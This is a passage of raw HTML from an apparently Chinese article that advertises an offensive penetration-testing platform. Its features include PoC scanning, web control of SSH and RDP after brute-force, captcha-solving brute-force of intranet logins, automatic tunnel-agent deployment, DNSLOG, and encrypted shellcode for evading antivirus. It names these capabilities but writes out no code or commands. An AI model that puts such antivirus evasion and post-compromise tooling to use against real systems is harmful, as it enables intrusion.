rgb(255, 255, 255);overflow-wrap: break-word !important;">可视化网卡识别，精准定位多网卡机器。</span></pre><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.678125" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b50550e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXvq9YkGfhvSn9GI7PSw4ic6QlwmIAf9g86NKD0VSMC0s5GgiaCjezz92g%2F640%3Fwx_fmt%3Djpeg"/></p><pre style="margin-bottom: 16px;padding: 16px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;text-size-adjust: auto;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;overflow: auto;line-height: 1.45;border-radius: 6px;color: rgb(36, 41, 46);text-align: start;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;font-weight: 600;font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">poc漏洞验证</span></pre><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.23359375" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c35719f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDX1icWxniae28V4awGHT25dIjnhbdrZLvcFKUam5ic2eE6ZN6p4wXXCNHUg%2F640%3Fwx_fmt%3Djpeg"/></p><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">web管理ssh</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">爆破成功后的ssh通过网页操作。<br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>开发中,近期上线............</p><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>rdp管理</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">爆破成功后的rdp，通过网页操作。<br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>开发中,近期上线............</p><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>数据库管理</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">web界面实现数据库的增删改查功能，以及打包下载。<br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>开发中,近期上线............</p><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>web目录扫描</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">开发中,近期上线............</p><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>web登陆框自动爆破</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">机器学习的验证码识别库，自动爆破内网可登陆的web系统。<br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>开发中,近期上线............</p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>poc管理</h3><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>提交格式</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">目前支持xray、nuclei等模板，后续支持更多。</p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.63515625" data-s="300,640" data-type="jpeg" data-w="1280" style="background-color: rgb(238, 237, 235);border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);background-size: 22px;background-position: center center;background-repeat: no-repeat;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 424.379px !important;width: 667px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=09fcb23f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXIRuTF0hk7M3kFy0o1N1eyia2j04RGvgJpuqHSnmjnAFf2ibDBlNEzMQg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.5828125" data-s="300,640" data-type="jpeg" data-w="1280" style="background-color: rgb(238, 237, 235);border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);background-size: 22px;background-position: center center;background-repeat: no-repeat;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 389.57px !important;width: 667px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=bc2ce599&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXt78Z7elDGZibauy6UdlyhEHxzzyiabwDH5DqPgaMxFfeyqsAoTfia8dfg%2F640%3Fwx_fmt%3Djpeg"/></p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">cms指纹管理</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;font-weight: 600;overflow-wrap: break-word !important;">操作系统指纹、CMS指纹等。</span></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.55078125" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5859a344&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXH3PSA28jtDjHeA4icdRR6HKlF7ZQtPZUQ5flLZs6k4oZ4s0T9LCesRQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.5859375" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=40645b45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDX9Ha4AbjpeticoPVQITn1ibN6G8ySkoJxMWv4hWSeUXcVhOjfG3Nr1Wwg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.72890625" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dcf8b495&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXrT9zV2ouZL8z994iae9A79UcqtibgYxBqZ4kL794Zf8Q6NhdibPYxnCZw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.6234375" data-s="300,640" data-type="jpeg" data-w="1280" style="background-color: rgb(238, 237, 235);border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);background-size: 22px;background-position: center center;background-repeat: no-repeat;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 416.586px !important;width: 667px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e667df3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXCQoCoBAvOL43BWHuS1ziaqHcq5OeL2dsJZTzV1RnX2OT5oS73A8ibKCg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.54609375" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b59972d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXS4oVZCuAVw88v7wfdXsHHxeOoVrDicsatujYd5YMymC1IFw1SstIBicQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.64375" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b2582483&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXLczARA6rSIAjtaMuVc8FddBibJZJbZ0Xj7rgic92bzeKhKfZDW0jBewA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;white-space: normal;text-size-adjust: auto;letter-spacing: 0.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 14px;caret-color: red;font-family: Helvetica, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">可视化隧道节点管理</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">使用隧道功能后，poc获取控制权限或爆破成功，自动化传输隧道agent，通过后台开关即可控制节点。</p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.5734375" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2d4a7b7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDX9zKkMouzKEKuhTic1CZD6lFGSj690VfcxSIR2w1SUanTiaOQqjNzzxfg%2F640%3Fwx_fmt%3Djpeg"/></p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">DNSLOG</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">直接生成域名即可。</p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>shellcode自动化免杀</h3><ol class="list-paddingleft-2" style="margin-bottom: 16px;padding-left: 2em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">采用国密算法加密的shellcode，可过大部分杀软，满足后渗透的需求。</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">如编译好的exe文件，也可以使用该功能进行混淆捆版。</p></li></ol><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.5375" data-s="300,640" data-type="jpeg" data-w="1280" style="background-color: rgb(238, 237, 235);border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);background-size: 22px;background-position: center center;background-repeat: no-repeat;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 359.438px !important;width: 667px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ed9b6e7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXYiahE3uo3bUBOszAaFpCG7qVd3SV43BKYxlYRePariaM3FJpSX54uWRg%2F640%3Fwx_fmt%3Djpeg"/></p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: 